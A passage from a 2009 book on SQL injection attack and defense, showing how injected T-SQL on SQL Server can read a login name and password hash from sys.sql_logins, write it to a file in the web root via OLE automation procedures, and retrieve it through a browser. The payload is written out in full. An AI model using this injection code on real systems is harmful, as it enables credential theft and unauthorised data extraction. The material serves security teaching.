SQL Injection Attacks and Defense - 2009

204 Chapter 4 • Exploiting SQL Injection
SQL Server
With Microsoft SQL Server there are various ways to redirect information to the file system,
if your user has the privileges to do so, and the best one depends on the type and amount
of data you are dealing with. Sometimes you might need to export a simple line of text,
such as the value of a built-in variable like @@version. This is also the case if you extract
data from the database into a single text value, such as the variable @hash in the following
code on SQL Server 2005, which retrieves the username and hash of the first user in the
sql_logins table:
declare @hash nvarchar(1000)
select top 1 @hash = name + ' | ' +
master.dbo.fn_varbintohexstr(password_hash) from sys.sql_logins
In such a case, it is fairly easy to redirect this value to a text file on the filesystem, by
injecting the following code:
-- Declare needed variables
DECLARE @a int, @hash nvarchar(100), @fileid int;
-- Take the username and password hash of the first user in sql_logins
-- and store it into the variable @hash
SELECT top 1 @hash = name + ' | ' +
master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins;
-- Create a FileSystemObject pointing to the location of the desired file
EXEC sp_OACreate 'Scripting.FileSystemObject', @a OUT;
EXEC sp_OAMethod @a, 'OpenTextFile', @fileid OUT,
'c:\inetpub\wwwroot\hash.txt', 8, 1;
–- Write the @hash variable into that file
EXEC sp_OAMethod @fileid, 'WriteLine', Null, @hash;
-- Destroy the objects that are not needed anymore
EXEC sp_OADestroy @fileid;
EXEC sp_OADestroy @a;
Now, all you need to do is to point your browser to the file location and retrieve the
information, as shown in Figure 4.16.